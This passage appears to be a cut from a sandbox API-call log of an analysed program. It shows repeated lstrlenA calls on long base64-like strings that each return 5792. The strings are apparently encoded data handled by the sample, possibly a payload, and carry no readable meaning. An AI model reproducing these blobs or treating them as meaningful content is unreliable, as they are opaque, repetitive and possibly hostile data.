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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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") returned 5792 [0042.886] lstrlenA (lpString="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